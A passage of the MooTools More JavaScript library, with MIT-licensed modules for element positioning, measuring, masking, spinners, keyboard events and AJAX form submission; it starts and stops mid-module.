  - /MooTools.More

provides: [Elements.from, Elements.From]

...
*/

Elements.from = function(text, excludeScripts){
	if (excludeScripts || excludeScripts == null) text = text.stripScripts();

	var container, match = text.match(/^\s*<(t[dhr]|tbody|tfoot|thead)/i);

	if (match){
		container = new Element('table');
		var tag = match[1].toLowerCase();
		if (['td', 'th', 'tr'].contains(tag)){
			container = new Element('tbody').inject(container);
			if (tag != 'tr') container = new Element('tr').inject(container);
		}
	}

	return (container || new Element('div')).set('html', text).getChildren();
};


/*
---

name: Element.Event.Pseudos

description: Adds the functionality to add pseudo events for Elements

license: MIT-style license

authors:
  - Arian Stolwijk

requires: [Core/Element.Event, Core/Element.Delegation, Events.Pseudos]

provides: [Element.Event.Pseudos, Element.Delegation]

...
*/

(function(){

var pseudos = {relay: false},
	copyFromEvents = ['once', 'throttle', 'pause'],
	count = copyFromEvents.length;

while (count--) pseudos[copyFromEvents[count]] = Events.lookupPseudo(copyFromEvents[count]);

DOMEvent.definePseudo = function(key, listener){
	pseudos[key] = listener;
	return this;
};

var proto = Element.prototype;
[Element, Window, Document].invoke('implement', Events.Pseudos(pseudos, proto.addEvent, proto.removeEvent));

})();


/*
---

name: Element.Event.Pseudos.Keys

description: Adds functionality fire events if certain keycombinations are pressed

license: MIT-style license

authors:
  - Arian Stolwijk

requires: [Element.Event.Pseudos]

provides: [Element.Event.Pseudos.Keys]

...
*/

(function(){

var keysStoreKey = '$moo:keys-pressed',
	keysKeyupStoreKey = '$moo:keys-keyup';


DOMEvent.definePseudo('keys', function(split, fn, args){

	var event = args[0],
		keys = [],
		pressed = this.retrieve(keysStoreKey, []);

	keys.append(split.value.replace('++', function(){
		keys.push('+'); // shift++ and shift+++a
		return '';
	}).split('+'));

	pressed.include(event.key);

	if (keys.every(function(key){
		return pressed.contains(key);
	})) fn.apply(this, args);

	this.store(keysStoreKey, pressed);

	if (!this.retrieve(keysKeyupStoreKey)){
		var keyup = function(event){
			(function(){
				pressed = this.retrieve(keysStoreKey, []).erase(event.key);
				this.store(keysStoreKey, pressed);
			}).delay(0, this); // Fix for IE
		};
		this.store(keysKeyupStoreKey, keyup).addEvent('keyup', keyup);
	}

});

DOMEvent.defineKeys({
	'16': 'shift',
	'17': 'control',
	'18': 'alt',
	'20': 'capslock',
	'33': 'pageup',
	'34': 'pagedown',
	'35': 'end',
	'36': 'home',
	'144': 'numlock',
	'145': 'scrolllock',
	'186': ';',
	'187': '=',
	'188': ',',
	'190': '.',
	'191': '/',
	'192': '`',
	'219': '[',
	'220': '\\',
	'221': ']',
	'222': "'",
	'107': '+'
}).defineKey(Browser.firefox ? 109 : 189, '-');

})();


/*
---

script: Element.Measure.js

name: Element.Measure

description: Extends the Element native object to include methods useful in measuring dimensions.

credits: "Element.measure / .expose methods by Daniel Steigerwald License: MIT-style license. Copyright: Copyright (c) 2008 Daniel Steigerwald, daniel.steigerwald.cz"

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Element.Style
  - Core/Element.Dimensions
  - /MooTools.More

provides: [Element.Measure]

...
*/

(function(){

var getStylesList = function(styles, planes){
	var list = [];
	Object.each(planes, function(directions){
		Object.each(directions, function(edge){
			styles.each(function(style){
				list.push(style + '-' + edge + (style == 'border' ? '-width' : ''));
			});
		});
	});
	return list;
};

var calculateEdgeSize = function(edge, styles){
	var total = 0;
	Object.each(styles, function(value, style){
		if (style.test(edge)) total = total + value.toInt();
	});
	return total;
};

var isVisible = function(el){
	return !!(!el || el.offsetHeight || el.offsetWidth);
};


Element.implement({

	measure: function(fn){
		if (isVisible(this)) return fn.call(this);
		var parent = this.getParent(),
			toMeasure = [];
		while (!isVisible(parent) && parent != document.body){
			toMeasure.push(parent.expose());
			parent = parent.getParent();
		}
		var restore = this.expose(),
			result = fn.call(this);
		restore();
		toMeasure.each(function(restore){
			restore();
		});
		return result;
	},

	expose: function(){
		if (this.getStyle('display') != 'none') return function(){};
		var before = this.style.cssText;
		this.setStyles({
			display: 'block',
			position: 'absolute',
			visibility: 'hidden'
		});
		return function(){
			this.style.cssText = before;
		}.bind(this);
	},

	getDimensions: function(options){
		options = Object.merge({computeSize: false}, options);
		var dim = {x: 0, y: 0};

		var getSize = function(el, options){
			return (options.computeSize) ? el.getComputedSize(options) : el.getSize();
		};

		var parent = this.getParent('body');

		if (parent && this.getStyle('display') == 'none'){
			dim = this.measure(function(){
				return getSize(this, options);
			});
		} else if (parent){
			try { //safari sometimes crashes here, so catch it
				dim = getSize(this, options);
			}catch(e){}
		}

		return Object.append(dim, (dim.x || dim.x === 0) ? {
				width: dim.x,
				height: dim.y
			} : {
				x: dim.width,
				y: dim.height
			}
		);
	},

	getComputedSize: function(options){
		

		options = Object.merge({
			styles: ['padding','border'],
			planes: {
				height: ['top','bottom'],
				width: ['left','right']
			},
			mode: 'both'
		}, options);

		var styles = {},
			size = {width: 0, height: 0},
			dimensions;

		if (options.mode == 'vertical'){
			delete size.width;
			delete options.planes.width;
		} else if (options.mode == 'horizontal'){
			delete size.height;
			delete options.planes.height;
		}

		getStylesList(options.styles, options.planes).each(function(style){
			styles[style] = this.getStyle(style).toInt();
		}, this);

		Object.each(options.planes, function(edges, plane){

			var capitalized = plane.capitalize(),
				style = this.getStyle(plane);

			if (style == 'auto' && !dimensions) dimensions = this.getDimensions();

			style = styles[plane] = (style == 'auto') ? dimensions[plane] : style.toInt();
			size['total' + capitalized] = style;

			edges.each(function(edge){
				var edgesize = calculateEdgeSize(edge, styles);
				size['computed' + edge.capitalize()] = edgesize;
				size['total' + capitalized] += edgesize;
			});

		}, this);

		return Object.append(size, styles);
	}

});

})();


/*
---

script: Element.Pin.js

name: Element.Pin

description: Extends the Element native object to include the pin method useful for fixed positioning for elements.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Element.Event
  - Core/Element.Dimensions
  - Core/Element.Style
  - /MooTools.More

provides: [Element.Pin]

...
*/

(function(){
	var supportsPositionFixed = false,
		supportTested = false;

	var testPositionFixed = function(){
		var test = new Element('div').setStyles({
			position: 'fixed',
			top: 0,
			right: 0
		}).inject(document.body);
		supportsPositionFixed = (test.offsetTop === 0);
		test.dispose();
		supportTested = true;
	};

	Element.implement({

		pin: function(enable, forceScroll){
			if (!supportTested) testPositionFixed();
			if (this.getStyle('display') == 'none') return this;

			var pinnedPosition,
				scroll = window.getScroll(),
				parent,
				scrollFixer;

			if (enable !== false){
				pinnedPosition = this.getPosition(supportsPositionFixed ? document.body : this.getOffsetParent());
				if (!this.retrieve('pin:_pinned')){
					var currentPosition = {
						top: pinnedPosition.y - scroll.y,
						left: pinnedPosition.x - scroll.x
					};

					if (supportsPositionFixed && !forceScroll){
						this.setStyle('position', 'fixed').setStyles(currentPosition);
					} else {

						parent = this.getOffsetParent();
						var position = this.getPosition(parent),
							styles = this.getStyles('left', 'top');

						if (parent && styles.left == 'auto' || styles.top == 'auto') this.setPosition(position);
						if (this.getStyle('position') == 'static') this.setStyle('position', 'absolute');

						position = {
							x: styles.left.toInt() - scroll.x,
							y: styles.top.toInt() - scroll.y
						};

						scrollFixer = function(){
							if (!this.retrieve('pin:_pinned')) return;
							var scroll = window.getScroll();
							this.setStyles({
								left: position.x + scroll.x,
								top: position.y + scroll.y
							});
						}.bind(this);

						this.store('pin:_scrollFixer', scrollFixer);
						window.addEvent('scroll', scrollFixer);
					}
					this.store('pin:_pinned', true);
				}

			} else {
				if (!this.retrieve('pin:_pinned')) return this;

				parent = this.getParent();
				var offsetParent = (parent.getComputedStyle('position') != 'static' ? parent : parent.getOffsetParent());

				pinnedPosition = this.getPosition(offsetParent);

				this.store('pin:_pinned', false);
				scrollFixer = this.retrieve('pin:_scrollFixer');
				if (!scrollFixer){
					this.setStyles({
						position: 'absolute',
						top: pinnedPosition.y + scroll.y,
						left: pinnedPosition.x + scroll.x
					});
				} else {
					this.store('pin:_scrollFixer', null);
					window.removeEvent('scroll', scrollFixer);
				}
				this.removeClass('isPinned');
			}
			return this;
		},

		unpin: function(){
			return this.pin(false);
		},

		togglePin: function(){
			return this.pin(!this.retrieve('pin:_pinned'));
		}

	});



})();


/*
---

script: Element.Position.js

name: Element.Position

description: Extends the Element native object to include methods useful positioning elements relative to others.

license: MIT-style license

authors:
  - Aaron Newton
  - Jacob Thornton

requires:
  - Core/Options
  - Core/Element.Dimensions
  - Element.Measure

provides: [Element.Position]

...
*/

(function(original){

var local = Element.Position = {

	options: {/*
		edge: false,
		returnPos: false,
		minimum: {x: 0, y: 0},
		maximum: {x: 0, y: 0},
		relFixedPosition: false,
		ignoreMargins: false,
		ignoreScroll: false,
		allowNegative: false,*/
		relativeTo: document.body,
		position: {
			x: 'center', //left, center, right
			y: 'center' //top, center, bottom
		},
		offset: {x: 0, y: 0}
	},

	getOptions: function(element, options){
		options = Object.merge({}, local.options, options);
		local.setPositionOption(options);
		local.setEdgeOption(options);
		local.setOffsetOption(element, options);
		local.setDimensionsOption(element, options);
		return options;
	},

	setPositionOption: function(options){
		options.position = local.getCoordinateFromValue(options.position);
	},

	setEdgeOption: function(options){
		var edgeOption = local.getCoordinateFromValue(options.edge);
		options.edge = edgeOption ? edgeOption :
			(options.position.x == 'center' && options.position.y == 'center') ? {x: 'center', y: 'center'} :
			{x: 'left', y: 'top'};
	},

	setOffsetOption: function(element, options){
		var parentOffset = {x: 0, y: 0},
			offsetParent = element.measure(function(){
				return document.id(this.getOffsetParent());
			}),
			parentScroll = offsetParent.getScroll();

		if (!offsetParent || offsetParent == element.getDocument().body) return;
		parentOffset = offsetParent.measure(function(){
			var position = this.getPosition();
			if (this.getStyle('position') == 'fixed'){
				var scroll = window.getScroll();
				position.x += scroll.x;
				position.y += scroll.y;
			}
			return position;
		});

		options.offset = {
			parentPositioned: offsetParent != document.id(options.relativeTo),
			x: options.offset.x - parentOffset.x + parentScroll.x,
			y: options.offset.y - parentOffset.y + parentScroll.y
		};
	},

	setDimensionsOption: function(element, options){
		options.dimensions = element.getDimensions({
			computeSize: true,
			styles: ['padding', 'border', 'margin']
		});
	},

	getPosition: function(element, options){
		var position = {};
		options = local.getOptions(element, options);
		var relativeTo = document.id(options.relativeTo) || document.body;

		local.setPositionCoordinates(options, position, relativeTo);
		if (options.edge) local.toEdge(position, options);

		var offset = options.offset;
		position.left = ((position.x >= 0 || offset.parentPositioned || options.allowNegative) ? position.x : 0).toInt();
		position.top = ((position.y >= 0 || offset.parentPositioned || options.allowNegative) ? position.y : 0).toInt();

		local.toMinMax(position, options);

		if (options.relFixedPosition || relativeTo.getStyle('position') == 'fixed') local.toRelFixedPosition(relativeTo, position);
		if (options.ignoreScroll) local.toIgnoreScroll(relativeTo, position);
		if (options.ignoreMargins) local.toIgnoreMargins(position, options);

		position.left = Math.ceil(position.left);
		position.top = Math.ceil(position.top);
		delete position.x;
		delete position.y;

		return position;
	},

	setPositionCoordinates: function(options, position, relativeTo){
		var offsetY = options.offset.y,
			offsetX = options.offset.x,
			calc = (relativeTo == document.body) ? window.getScroll() : relativeTo.getPosition(),
			top = calc.y,
			left = calc.x,
			winSize = window.getSize();

		switch(options.position.x){
			case 'left': position.x = left + offsetX; break;
			case 'right': position.x = left + offsetX + relativeTo.offsetWidth; break;
			default: position.x = left + ((relativeTo == document.body ? winSize.x : relativeTo.offsetWidth) / 2) + offsetX; break;
		}

		switch(options.position.y){
			case 'top': position.y = top + offsetY; break;
			case 'bottom': position.y = top + offsetY + relativeTo.offsetHeight; break;
			default: position.y = top + ((relativeTo == document.body ? winSize.y : relativeTo.offsetHeight) / 2) + offsetY; break;
		}
	},

	toMinMax: function(position, options){
		var xy = {left: 'x', top: 'y'}, value;
		['minimum', 'maximum'].each(function(minmax){
			['left', 'top'].each(function(lr){
				value = options[minmax] ? options[minmax][xy[lr]] : null;
				if (value != null && ((minmax == 'minimum') ? position[lr] < value : position[lr] > value)) position[lr] = value;
			});
		});
	},

	toRelFixedPosition: function(relativeTo, position){
		var winScroll = window.getScroll();
		position.top += winScroll.y;
		position.left += winScroll.x;
	},

	toIgnoreScroll: function(relativeTo, position){
		var relScroll = relativeTo.getScroll();
		position.top -= relScroll.y;
		position.left -= relScroll.x;
	},

	toIgnoreMargins: function(position, options){
		position.left += options.edge.x == 'right'
			? options.dimensions['margin-right']
			: (options.edge.x != 'center'
				? -options.dimensions['margin-left']
				: -options.dimensions['margin-left'] + ((options.dimensions['margin-right'] + options.dimensions['margin-left']) / 2));

		position.top += options.edge.y == 'bottom'
			? options.dimensions['margin-bottom']
			: (options.edge.y != 'center'
				? -options.dimensions['margin-top']
				: -options.dimensions['margin-top'] + ((options.dimensions['margin-bottom'] + options.dimensions['margin-top']) / 2));
	},

	toEdge: function(position, options){
		var edgeOffset = {},
			dimensions = options.dimensions,
			edge = options.edge;

		switch(edge.x){
			case 'left': edgeOffset.x = 0; break;
			case 'right': edgeOffset.x = -dimensions.x - dimensions.computedRight - dimensions.computedLeft; break;
			// center
			default: edgeOffset.x = -(Math.round(dimensions.totalWidth / 2)); break;
		}

		switch(edge.y){
			case 'top': edgeOffset.y = 0; break;
			case 'bottom': edgeOffset.y = -dimensions.y - dimensions.computedTop - dimensions.computedBottom; break;
			// center
			default: edgeOffset.y = -(Math.round(dimensions.totalHeight / 2)); break;
		}

		position.x += edgeOffset.x;
		position.y += edgeOffset.y;
	},

	getCoordinateFromValue: function(option){
		if (typeOf(option) != 'string') return option;
		option = option.toLowerCase();

		return {
			x: option.test('left') ? 'left'
				: (option.test('right') ? 'right' : 'center'),
			y: option.test(/upper|top/) ? 'top'
				: (option.test('bottom') ? 'bottom' : 'center')
		};
	}

};

Element.implement({

	position: function(options){
		if (options && (options.x != null || options.y != null)){
			return (original ? original.apply(this, arguments) : this);
		}
		var position = this.setStyle('position', 'absolute').calculatePosition(options);
		return (options && options.returnPos) ? position : this.setStyles(position);
	},

	calculatePosition: function(options){
		return local.getPosition(this, options);
	}

});

})(Element.prototype.position);


/*
---

script: Element.Shortcuts.js

name: Element.Shortcuts

description: Extends the Element native object to include some shortcut methods.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Element.Style
  - /MooTools.More

provides: [Element.Shortcuts]

...
*/

Element.implement({

	isDisplayed: function(){
		return this.getStyle('display') != 'none';
	},

	isVisible: function(){
		var w = this.offsetWidth,
			h = this.offsetHeight;
		return (w == 0 && h == 0) ? false : (w > 0 && h > 0) ? true : this.style.display != 'none';
	},

	toggle: function(){
		return this[this.isDisplayed() ? 'hide' : 'show']();
	},

	hide: function(){
		var d;
		try {
			//IE fails here if the element is not in the dom
			d = this.getStyle('display');
		} catch(e){}
		if (d == 'none') return this;
		return this.store('element:_originalDisplay', d || '').setStyle('display', 'none');
	},

	show: function(display){
		if (!display && this.isDisplayed()) return this;
		display = display || this.retrieve('element:_originalDisplay') || 'block';
		return this.setStyle('display', (display == 'none') ? 'block' : display);
	},

	swapClass: function(remove, add){
		return this.removeClass(remove).addClass(add);
	}

});

Document.implement({

	clearSelection: function(){
		if (window.getSelection){
			var selection = window.getSelection();
			if (selection && selection.removeAllRanges) selection.removeAllRanges();
		} else if (document.selection && document.selection.empty){
			try {
				//IE fails here if selected element is not in dom
				document.selection.empty();
			} catch(e){}
		}
	}

});


/*
---

script: IframeShim.js

name: IframeShim

description: Defines IframeShim, a class for obscuring select lists and flash objects in IE.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Element.Event
  - Core/Element.Style
  - Core/Options
  - Core/Events
  - /Element.Position
  - /Class.Occlude

provides: [IframeShim]

...
*/

var IframeShim = new Class({

	Implements: [Options, Events, Class.Occlude],

	options: {
		className: 'iframeShim',
		src: 'javascript:false;document.write("");',
		display: false,
		zIndex: null,
		margin: 0,
		offset: {x: 0, y: 0},
		browsers: (Browser.ie6 || (Browser.firefox && Browser.version < 3 && Browser.Platform.mac))
	},

	property: 'IframeShim',

	initialize: function(element, options){
		this.element = document.id(element);
		if (this.occlude()) return this.occluded;
		this.setOptions(options);
		this.makeShim();
		return this;
	},

	makeShim: function(){
		if (this.options.browsers){
			var zIndex = this.element.getStyle('zIndex').toInt();

			if (!zIndex){
				zIndex = 1;
				var pos = this.element.getStyle('position');
				if (pos == 'static' || !pos) this.element.setStyle('position', 'relative');
				this.element.setStyle('zIndex', zIndex);
			}
			zIndex = ((this.options.zIndex != null || this.options.zIndex === 0) && zIndex > this.options.zIndex) ? this.options.zIndex : zIndex - 1;
			if (zIndex < 0) zIndex = 1;
			this.shim = new Element('iframe', {
				src: this.options.src,
				scrolling: 'no',
				frameborder: 0,
				styles: {
					zIndex: zIndex,
					position: 'absolute',
					border: 'none',
					filter: 'progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)'
				},
				'class': this.options.className
			}).store('IframeShim', this);
			var inject = (function(){
				this.shim.inject(this.element, 'after');
				this[this.options.display ? 'show' : 'hide']();
				this.fireEvent('inject');
			}).bind(this);
			if (!IframeShim.ready) window.addEvent('load', inject);
			else inject();
		} else {
			this.position = this.hide = this.show = this.dispose = Function.from(this);
		}
	},

	position: function(){
		if (!IframeShim.ready || !this.shim) return this;
		var size = this.element.measure(function(){
			return this.getSize();
		});
		if (this.options.margin != undefined){
			size.x = size.x - (this.options.margin * 2);
			size.y = size.y - (this.options.margin * 2);
			this.options.offset.x += this.options.margin;
			this.options.offset.y += this.options.margin;
		}
		this.shim.set({width: size.x, height: size.y}).position({
			relativeTo: this.element,
			offset: this.options.offset
		});
		return this;
	},

	hide: function(){
		if (this.shim) this.shim.setStyle('display', 'none');
		return this;
	},

	show: function(){
		if (this.shim) this.shim.setStyle('display', 'block');
		return this.position();
	},

	dispose: function(){
		if (this.shim) this.shim.dispose();
		return this;
	},

	destroy: function(){
		if (this.shim) this.shim.destroy();
		return this;
	}

});

window.addEvent('load', function(){
	IframeShim.ready = true;
});


/*
---

script: Mask.js

name: Mask

description: Creates a mask element to cover another.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Options
  - Core/Events
  - Core/Element.Event
  - /Class.Binds
  - /Element.Position
  - /IframeShim

provides: [Mask]

...
*/

var Mask = new Class({

	Implements: [Options, Events],

	Binds: ['position'],

	options: {/*
		onShow: function(){},
		onHide: function(){},
		onDestroy: function(){},
		onClick: function(event){},
		inject: {
			where: 'after',
			target: null,
		},
		hideOnClick: false,
		id: null,
		destroyOnHide: false,*/
		style: {},
		'class': 'mask',
		maskMargins: false,
		useIframeShim: true,
		iframeShimOptions: {}
	},

	initialize: function(target, options){
		this.target = document.id(target) || document.id(document.body);
		this.target.store('mask', this);
		this.setOptions(options);
		this.render();
		this.inject();
	},

	render: function(){
		this.element = new Element('div', {
			'class': this.options['class'],
			id: this.options.id || 'mask-' + String.uniqueID(),
			styles: Object.merge({}, this.options.style, {
				display: 'none'
			}),
			events: {
				click: function(event){
					this.fireEvent('click', event);
					if (this.options.hideOnClick) this.hide();
				}.bind(this)
			}
		});

		this.hidden = true;
	},

	toElement: function(){
		return this.element;
	},

	inject: function(target, where){
		where = where || (this.options.inject ? this.options.inject.where : '') || this.target == document.body ? 'inside' : 'after';
		target = target || (this.options.inject && this.options.inject.target) || this.target;

		this.element.inject(target, where);

		if (this.options.useIframeShim){
			this.shim = new IframeShim(this.element, this.options.iframeShimOptions);

			this.addEvents({
				show: this.shim.show.bind(this.shim),
				hide: this.shim.hide.bind(this.shim),
				destroy: this.shim.destroy.bind(this.shim)
			});
		}
	},

	position: function(){
		this.resize(this.options.width, this.options.height);

		this.element.position({
			relativeTo: this.target,
			position: 'topLeft',
			ignoreMargins: !this.options.maskMargins,
			ignoreScroll: this.target == document.body
		});

		return this;
	},

	resize: function(x, y){
		var opt = {
			styles: ['padding', 'border']
		};
		if (this.options.maskMargins) opt.styles.push('margin');

		var dim = this.target.getComputedSize(opt);
		if (this.target == document.body){
			this.element.setStyles({width: 0, height: 0});
			var win = window.getScrollSize();
			if (dim.totalHeight < win.y) dim.totalHeight = win.y;
			if (dim.totalWidth < win.x) dim.totalWidth = win.x;
		}
		this.element.setStyles({
			width: Array.pick([x, dim.totalWidth, dim.x]),
			height: Array.pick([y, dim.totalHeight, dim.y])
		});

		return this;
	},

	show: function(){
		if (!this.hidden) return this;

		window.addEvent('resize', this.position);
		this.position();
		this.showMask.apply(this, arguments);

		return this;
	},

	showMask: function(){
		this.element.setStyle('display', 'block');
		this.hidden = false;
		this.fireEvent('show');
	},

	hide: function(){
		if (this.hidden) return this;

		window.removeEvent('resize', this.position);
		this.hideMask.apply(this, arguments);
		if (this.options.destroyOnHide) return this.destroy();

		return this;
	},

	hideMask: function(){
		this.element.setStyle('display', 'none');
		this.hidden = true;
		this.fireEvent('hide');
	},

	toggle: function(){
		this[this.hidden ? 'show' : 'hide']();
	},

	destroy: function(){
		this.hide();
		this.element.destroy();
		this.fireEvent('destroy');
		this.target.eliminate('mask');
	}

});

Element.Properties.mask = {

	set: function(options){
		var mask = this.retrieve('mask');
		if (mask) mask.destroy();
		return this.eliminate('mask').store('mask:options', options);
	},

	get: function(){
		var mask = this.retrieve('mask');
		if (!mask){
			mask = new Mask(this, this.retrieve('mask:options'));
			this.store('mask', mask);
		}
		return mask;
	}

};

Element.implement({

	mask: function(options){
		if (options) this.set('mask', options);
		this.get('mask').show();
		return this;
	},

	unmask: function(){
		this.get('mask').hide();
		return this;
	}

});


/*
---

script: Spinner.js

name: Spinner

description: Adds a semi-transparent overlay over a dom element with a spinnin ajax icon.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Fx.Tween
  - Core/Request
  - /Class.refactor
  - /Mask

provides: [Spinner]

...
*/

var Spinner = new Class({

	Extends: Mask,

	Implements: Chain,

	options: {/*
		message: false,*/
		'class': 'spinner',
		containerPosition: {},
		content: {
			'class': 'spinner-content'
		},
		messageContainer: {
			'class': 'spinner-msg'
		},
		img: {
			'class': 'spinner-img'
		},
		fxOptions: {
			link: 'chain'
		}
	},

	initialize: function(target, options){
		this.target = document.id(target) || document.id(document.body);
		this.target.store('spinner', this);
		this.setOptions(options);
		this.render();
		this.inject();

		// Add this to events for when noFx is true; parent methods handle hide/show.
		var deactivate = function(){ this.active = false; }.bind(this);
		this.addEvents({
			hide: deactivate,
			show: deactivate
		});
	},

	render: function(){
		this.parent();

		this.element.set('id', this.options.id || 'spinner-' + String.uniqueID());

		this.content = document.id(this.options.content) || new Element('div', this.options.content);
		this.content.inject(this.element);

		if (this.options.message){
			this.msg = document.id(this.options.message) || new Element('p', this.options.messageContainer).appendText(this.options.message);
			this.msg.inject(this.content);
		}

		if (this.options.img){
			this.img = document.id(this.options.img) || new Element('div', this.options.img);
			this.img.inject(this.content);
		}

		this.element.set('tween', this.options.fxOptions);
	},

	show: function(noFx){
		if (this.active) return this.chain(this.show.bind(this));
		if (!this.hidden){
			this.callChain.delay(20, this);
			return this;
		}

		this.active = true;

		return this.parent(noFx);
	},

	showMask: function(noFx){
		var pos = function(){
			this.content.position(Object.merge({
				relativeTo: this.element
			}, this.options.containerPosition));
		}.bind(this);

		if (noFx){
			this.parent();
			pos();
		} else {
			if (!this.options.style.opacity) this.options.style.opacity = this.element.getStyle('opacity').toFloat();
			this.element.setStyles({
				display: 'block',
				opacity: 0
			}).tween('opacity', this.options.style.opacity);
			pos();
			this.hidden = false;
			this.fireEvent('show');
			this.callChain();
		}
	},

	hide: function(noFx){
		if (this.active) return this.chain(this.hide.bind(this));
		if (this.hidden){
			this.callChain.delay(20, this);
			return this;
		}
		this.active = true;
		return this.parent(noFx);
	},

	hideMask: function(noFx){
		if (noFx) return this.parent();
		this.element.tween('opacity', 0).get('tween').chain(function(){
			this.element.setStyle('display', 'none');
			this.hidden = true;
			this.fireEvent('hide');
			this.callChain();
		}.bind(this));
	},

	destroy: function(){
		this.content.destroy();
		this.parent();
		this.target.eliminate('spinner');
	}

});

Request = Class.refactor(Request, {

	options: {
		useSpinner: false,
		spinnerOptions: {},
		spinnerTarget: false
	},

	initialize: function(options){
		this._send = this.send;
		this.send = function(options){
			var spinner = this.getSpinner();
			if (spinner) spinner.chain(this._send.pass(options, this)).show();
			else this._send(options);
			return this;
		};
		this.previous(options);
	},

	getSpinner: function(){
		if (!this.spinner){
			var update = document.id(this.options.spinnerTarget) || document.id(this.options.update);
			if (this.options.useSpinner && update){
				update.set('spinner', this.options.spinnerOptions);
				var spinner = this.spinner = update.get('spinner');
				['complete', 'exception', 'cancel'].each(function(event){
					this.addEvent(event, spinner.hide.bind(spinner));
				}, this);
			}
		}
		return this.spinner;
	}

});

Element.Properties.spinner = {

	set: function(options){
		var spinner = this.retrieve('spinner');
		if (spinner) spinner.destroy();
		return this.eliminate('spinner').store('spinner:options', options);
	},

	get: function(){
		var spinner = this.retrieve('spinner');
		if (!spinner){
			spinner = new Spinner(this, this.retrieve('spinner:options'));
			this.store('spinner', spinner);
		}
		return spinner;
	}

};

Element.implement({

	spin: function(options){
		if (options) this.set('spinner', options);
		this.get('spinner').show();
		return this;
	},

	unspin: function(){
		this.get('spinner').hide();
		return this;
	}

});


/*
---

script: Form.Request.js

name: Form.Request

description: Handles the basic functionality of submitting a form and updating a dom element with the result.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Request.HTML
  - /Class.Binds
  - /Class.Occlude
  - /Spinner
  - /String.QueryString
  - /Element.Delegation

provides: [Form.Request]

...
*/

if (!window.Form) window.Form = {};

(function(){

	Form.Request = new Class({

		Binds: ['onSubmit', 'onFormValidate'],

		Implements: [Options, Events, Class.Occlude],

		options: {/*
			onFailure: function(){},
			onSuccess: function(){}, // aliased to onComplete,
			onSend: function(){}*/
			requestOptions: {
				evalScripts: true,
				useSpinner: true,
				emulation: false,
				link: 'ignore'
			},
			sendButtonClicked: true,
			extraData: {},
			resetForm: true
		},

		property: 'form.request',

		initialize: function(form, target, options){
			this.element = document.id(form);
			if (this.occlude()) return this.occluded;
			this.setOptions(options)
				.setTarget(target)
				.attach();
		},

		setTarget: function(target){
			this.target = document.id(target);
			if (!this.request){
				this.makeRequest();
			} else {
				this.request.setOptions({
					update: this.target
				});
			}
			return this;
		},

		toElement: function(){
			return this.element;
		},

		makeRequest: function(){
			var self = this;
			this.request = new Request.HTML(Object.merge({
					update: this.target,
					emulation: false,
					spinnerTarget: this.element,
					method: this.element.get('method') || 'post'
			}, this.options.requestOptions)).addEvents({
				success: function(tree, elements, html, javascript){
					['complete', 'success'].each(function(evt){
						self.fireEvent(evt, [self.target, tree, elements, html, javascript]);
					});
				},
				failure: function(){
					self.fireEvent('complete', arguments).fireEvent('failure', arguments);
				},
				exception: function(){
					self.fireEvent('failure', arguments);
				}
			});
			return this.attachReset();
		},

		attachReset: function(){
			if (!this.options.resetForm) return this;
			this.request.addEvent('success', function(){
				Function.attempt(function(){
					this.element.reset();
				}.bind(this));
				if (window.OverText) OverText.update();
			}.bind(this));
			return this;
		},

		attach: function(attach){
			var method = (attach != false) ? 'addEvent' : 'removeEvent';
			this.element[method]('click:relay(button, input[type=submit])', this.saveClickedButton.bind(this));

			var fv = this.element.retrieve('validator');
			if (fv) fv[method]('onFormValidate', this.onFormValidate);
			else this.element[method]('submit', this.onSubmit);

			return this;
		},

		detach: function(){
			return this.attach(false);
		},

		//public method
		enable: function(){
			return this.attach();
		},

		//public method
		disable: function(){
			return this.detach();
		},

		onFormValidate: function(valid, form, event){
			//if there's no event, then this wasn't a submit event
			if (!event) return;
			var fv = this.element.retrieve('validator');
			if (valid || (fv && !fv.options.stopOnFailure)){
				event.stop();
				this.send();
			}
		},

		onSubmit: function(event){
			var fv = this.element.retrieve('validator');
			if (fv){
				//form validator was created after Form.Request
				this.element.removeEvent('submit', this.onSubmit);
				fv.addEvent('onFormValidate', this.onFormValidate);
				this.element.validate();
				return;
			}
			if (event) event.stop();
			this.send();
		},

		saveClickedButton: function(event, target){
			var targetName = target.get('name');
			if (!targetName || !this.options.sendButtonClicked) return;
			this.options.extraData[targetName] = target.get('value') || true;
			this.clickedCleaner = function(){
				delete this.options.extraData[targetName];
				this.clickedCleaner = function(){};
			}.bind(this);
		},

		clickedCleaner: function(){},

		send: function(){
			var str = this.element.toQueryString().trim(),
				data = Object.toQueryString(this.options.extraData);

			if (str) str += "&" + data;
			else str = data;

			this.fireEvent('send', [this.element, str.parseQueryString()]);
			this.request.send({
				data: str,
				url: this.options.requestOptions.url || this.element.get('action')
			});
			this.clickedCleaner();
			return this;
		}

	});

	Element.implement('formUpdate', function(update, options){
		var fq = this.retrieve('form.request');
		if (!fq){
			fq = new Form.Request(this, update, options);
		} else {
			if (update) fq.setTarget(update);
			if (options) fq.setOptions(options).makeRequest();
		}
		fq.send();
		return this;
	});

})();


/*
---

script: Fx.Reveal.js

name: Fx.Reveal

description: Defines Fx.Reveal, a class that shows and hides elements with a transition.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Fx.Morph
  - /Element.Shortcuts
  - /Element.Measure

provides: [Fx.Reveal]

...
*/

(function(){


var hideTheseOf = function(object){
	var hideThese = object.options.hideInputs;
	if (window.OverText){
		var otClasses = [null];
		OverText.each(function(ot){
			otClasses.include('.' + ot.options.labelClass);
		});
		if (otClasses) hideThese += otClasses.join(', ');
	}
	return (hideThese) ? object.element.getElements(hideThese) : null;
};


Fx.Reveal = new Class({

	Extends: Fx.Morph,

	options: {/*
		onShow: function(thisElement){},
		onHide: function(thisElement){},
		onComplete: function(thisElement){},
		heightOverride: null,
		widthOverride: null,*/
		link: 'cancel',
		styles: ['padding', 'border', 'margin'],
		transitionOpacity: !Browser.ie6,
		mode: 'vertical',
		display: function(){
			return this.element.get('tag') != 'tr' ? 'block' : 'table-row';
		},
		opacity: 1,
		hideInputs: Browser.ie ? 'select, input, textarea, object, embed' : null
	},

	dissolve: function(){
		if (!this.hiding && !this.showing){
